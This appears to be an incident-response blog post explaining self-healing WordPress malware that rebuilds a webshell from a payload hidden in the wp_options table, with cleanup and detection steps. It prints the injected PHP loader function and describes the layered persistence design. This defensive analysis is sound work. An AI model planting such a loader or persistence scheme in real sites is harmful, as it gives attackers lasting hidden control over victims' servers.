You find the malware. You delete every malicious file. You verify the cleanup. You reload the page. The malware is back. Every single file you just deleted has been recreated, fully functional, as if nothing happened. Welcome to the world of database-persistent, self-healing WordPress malware — a class of threat that most cleanup guides completely miss.
During a recent incident response engagement, I encountered a WordPress site that had been compromised for weeks despite multiple cleanup attempts by the site owner. Every time they deleted the backdoor files, the malware returned within seconds. Here's how the attack worked, why traditional cleanup fails, and what you actually need to do to kill it.
The Initial Discovery
The compromised site presented a textbook infection at first glance: rogue admin accounts, SEO spam posts in multiple languages, and a collection of backdoor files scattered across the installation. The malware inventory included:
- An injected loader function in
wp-config.php - A secondary loader stub in the root
index.php - A must-use plugin (
mu-plugins/) acting as a primary webshell - Two counterfeit "security" plugins with names designed to look legitimate
- A webshell disguised as a language translation file
- Over 30 zero-byte PHP stub files planted across legitimate plugin directories
- 10 rogue administrator accounts created as backup access points
- 230+ SEO spam posts promoting gambling sites
Standard fare for a WordPress compromise. Or so it seemed.
The Self-Healing Mechanism
The real threat wasn't in the files — it was in the database. Buried inside wp-config.php, the attacker had injected a function that I'll call fm_repair_bridge(). This function runs on every single HTTP request to the WordPress site, before WordPress even finishes loading. Here's what it does:
function fm_repair_bridge() {
// Read the serialized webshell payload from the database
global $wpdb;
$payload = $wpdb->get_var(
"SELECT option_value FROM {$wpdb->options}
WHERE option_name = 'wp_system_integrity_state'"
);
if ($payload) {
$data = @unserialize($payload);
$bridge_file = ABSPATH . '.fm-bridge.php';
// If the bridge file doesn't exist, recreate it from the DB payload
if (!file_exists($bridge_file)) {
@file_put_contents($bridge_file, $data['code']);
}
}
}
fm_repair_bridge();
Read that carefully. On every HTTP request, this function checks whether a file called .fm-bridge.php exists on disk. If it doesn't — because you just deleted it — it reads the file's contents from a serialized payload stored in the wp_options table and writes it back to disk. The malware literally rebuilds itself from the database every time someone visits the site.
Why This Defeats Traditional Cleanup
Most malware cleanup workflows follow a straightforward pattern:
- Scan the filesystem for malicious PHP files
- Delete or quarantine them
- Verify they're gone
- Done
This works for standalone malware. But this attack uses a dual-layer architecture: a file layer (the actual backdoor) and a database layer (the payload storage + regeneration logic). Delete the file layer, and the database layer recreates it. Clean only the database, and the file layer keeps running. You have to kill both layers simultaneously, or the surviving layer regenerates the other.
The Payload: What Lives in the Database
The wp_system_integrity_state option in wp_options stored a serialized PHP array containing:
- The full source code of the bridge webshell
- Access keys for authenticating to the backdoor (
fm_access,wp_fm,wp_fm_repair) - Configuration for the C2 (command and control) callback
The option name itself is deliberately chosen to look like a legitimate WordPress system option. If you're scanning wp_options for obviously malicious entries, you might scroll right past wp_system_integrity_state thinking it's part of a security plugin.
SELECT option_name, LENGTH(option_value) as size
FROM wp_options
WHERE option_name = 'wp_system_integrity_state';
+-------------------------------+-------+
| option_name | size |
+-------------------------------+-------+
| wp_system_integrity_state | 14832 |
+-------------------------------+-------+
A 14KB serialized blob sitting quietly in a table that most administrators never inspect.
The Fake Security Plugins
The attackers didn't stop at the self-healing backdoor. They also installed two counterfeit plugins designed to look like legitimate security tools. One was named to resemble a WordPress admin utility, and the other mimicked a system management tool. Together, they contained over 35 PHP files implementing:
- A shadow admin creator — silently creates new administrator accounts with randomized usernames like
support_51720foreditor_e7ab26 - A session hijacker — allows the attacker to log in as any existing user without knowing their password
- An XML-RPC bypass — enables authentication through WordPress's XML-RPC interface even when security plugins have it disabled
- A content guard — monitors and logs changes to attacker-created content, alerting the C2 if their spam posts are being deleted
- A bot-post publisher — programmatically generates and publishes SEO spam posts via REST API
- A plugin blocker — prevents specific security plugins from activating
- A file manager — full filesystem access through the WordPress admin panel
The fake plugins also stored their own configuration in wp_options using option names prefixed with _awg_ and sc_, further entrenching the infection in the database layer.
The mu-plugins Auto-Loader
WordPress has a special directory called wp-content/mu-plugins/ (must-use plugins). Any PHP file placed here is automatically executed on every page load — it cannot be disabled from the admin panel, doesn't appear in the standard plugin list, and loads before regular plugins. It's the perfect hiding spot.
The attacker placed a webshell here with a name that sounds like a legitimate WordPress maintenance function. Because mu-plugins auto-load unconditionally, this backdoor ran on every single request regardless of what the site admin did in the dashboard. You can't "deactivate" a mu-plugin from the UI — you have to delete the file via SSH or FTP.
Persistence Through Redundancy
What made this attack particularly resilient was its layered persistence model. The attacker built in multiple independent mechanisms, each capable of restoring access if the others were cleaned:
Layer 1: wp-config.php injection (fm_repair_bridge)
|
+--> Reads payload from wp_options
+--> Regenerates .fm-bridge.php on every request
|
Layer 2: mu-plugins auto-loader
|
+--> Runs independently, provides webshell access
|
Layer 3: Fake security plugins (admin-wp, system-control)
|
+--> REST API backdoor
+--> Shadow admin creator
+--> File manager
|
Layer 4: Rogue admin accounts (10 accounts)
|
+--> Even if all code is cleaned, attacker logs back in
+--> Re-uploads malware through WordPress admin panel
|
Layer 5: Zero-byte stub files across plugin directories
|
+--> Placeholders waiting to be populated by the loader
+--> Spread across legitimate plugin dirs to avoid detection
Each layer acts as a safety net for the others. Remove the files but miss the database payload? Layer 1 rebuilds everything. Clean the database but miss the mu-plugin? Layer 2 still provides full access. Delete all backdoor code but miss one rogue admin? Layer 4 lets the attacker log in and start over.
How to Properly Kill It
Cleaning this type of infection requires a coordinated approach. You must address all layers in a single operation, or the surviving components will regenerate the rest. Here's the correct procedure:
Step 1: Document Everything First
Before you delete anything, take a full database backup and copy all malicious files to an evidence directory outside the webroot. Once you start deleting, you can't go back to study what was there.
Step 2: Kill the Database Layer
Remove all malicious entries from wp_options. In this case, that meant deleting the serialized webshell payload and all related configuration options:
-- Remove the self-healing payload
DELETE FROM wp_options
WHERE option_name = 'wp_system_integrity_state';
-- Remove fake plugin configuration
DELETE FROM wp_options
WHERE option_name LIKE '_awg_%'
OR option_name LIKE 'sc_%';
Step 3: Kill the File Layer
Remove all malicious files, including:
- The injected code from
wp-config.php(surgically — don't delete the whole file) - The loader stub from
index.php - The mu-plugin webshell
- Both fake plugin directories (completely)
- All zero-byte stub files across plugin directories
- Any standalone webshells (random-named PHP files, disguised language files)
Step 4: Clean the Content
Delete all attacker-generated spam posts, orphaned post metadata, spam categories, and stale transients. In the case I investigated, that was 230 spam posts, 266 orphaned wp_postmeta rows, and 50 spam-related transients.
Step 5: Lock Out the Attacker
Remove or flag all rogue admin accounts. Rotate the legitimate admin password. Regenerate WordPress salts and authentication keys in wp-config.php to invalidate any active sessions or cookies. Rotate the database password.
Step 6: Verify
Reload the site. Check that the bridge file hasn't been recreated. Query wp_options to confirm the payload is gone. Verify no new rogue accounts have appeared. Monitor for 24-48 hours.
Detection: What to Look For
If you suspect a self-healing infection on a WordPress site, here's how to check:
Check wp-config.php for injected functions
# Look for functions that don't belong in wp-config.php
grep -n "function " /path/to/wp-config.php
# Check for database queries in wp-config.php (there should be none)
grep -n "get_var\|query\|wpdb" /path/to/wp-config.php
Scan wp_options for large serialized blobs
-- Find suspiciously large options that could contain serialized code
SELECT option_name, LENGTH(option_value) as size
FROM wp_options
WHERE LENGTH(option_value) > 5000
AND option_name NOT IN (
'active_plugins','sidebars_widgets','widget_text',
'widget_custom_html','cron','rewrite_rules',
'auto_update_plugins','theme_mods_flavor'
)
ORDER BY size DESC
LIMIT 20;
Check for mu-plugins you didn't install
# List all mu-plugins — any file here auto-loads on every request
ls -la /path/to/wp-content/mu-plugins/
# If this directory has files you don't recognize, investigate immediately
Look for hidden dotfiles
# Find hidden PHP files in the webroot
find /path/to/webroot/ -name ".*.php" -type f 2>/dev/null
The Bigger Picture
This attack represents a growing trend in WordPress malware: the database is no longer just a target — it's a persistence mechanism. Attackers have learned that most cleanup tools and most security professionals focus on the filesystem. They scan for malicious PHP files, delete them, and move on. But the database is often treated as a black box that "belongs to the application."
This blind spot is exactly what makes database-persistent malware so effective. The attacker stores their payload where defenders don't look, and uses WordPress's own loading mechanism (wp-config.php runs on every request, before any security plugin loads) to ensure the regeneration code executes before anything can stop it.
The takeaway for anyone doing malware remediation on WordPress sites: if you're only scanning files, you're only seeing half the infection. Always check:
wp_optionsfor suspicious entries with large serialized valueswp_postsfor attacker-generated contentwp_usersandwp_usermetafor rogue accounts and elevated privilegeswp_postmetafor injected scripts in custom field values- Any plugin-specific tables (code injection plugins like WPCode store executable PHP in custom tables)
And remember: if you clean the files and the malware comes back within seconds, it's not re-infection from outside. It's regeneration from within. The payload is already inside the database, waiting for the next page load to rebuild itself.
The malware that won't die isn't immortal — it just has a backup plan you haven't found yet.